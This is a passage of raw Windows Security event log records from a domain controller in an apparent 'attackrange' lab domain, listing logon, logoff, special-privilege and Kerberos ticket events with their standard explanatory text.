Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1158E3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250651 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250650 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250649 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250648 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1158C7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250647 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1158C7 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250646 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1158C7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250645 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250644 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250643 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250642 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x115106 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250641 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x114BB2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250640 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x115606 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250639 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x115606 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64468 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250638 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x115606 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250637 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1155A5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250636 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1155A5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64467 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250635 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1155A5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250634 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11553F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250633 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11553F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64466 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250632 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11553F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250631 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1154BD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250630 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1154BD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64465 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250629 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1154BD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250628 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x115106 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250627 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x115106 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250626 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250625 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {846418A7-3BFA-80A8-F4CF-2E39CB96E056} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250624 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:29 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250623 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x114BB2 - -Privileges: SeSecurityPrivilege - 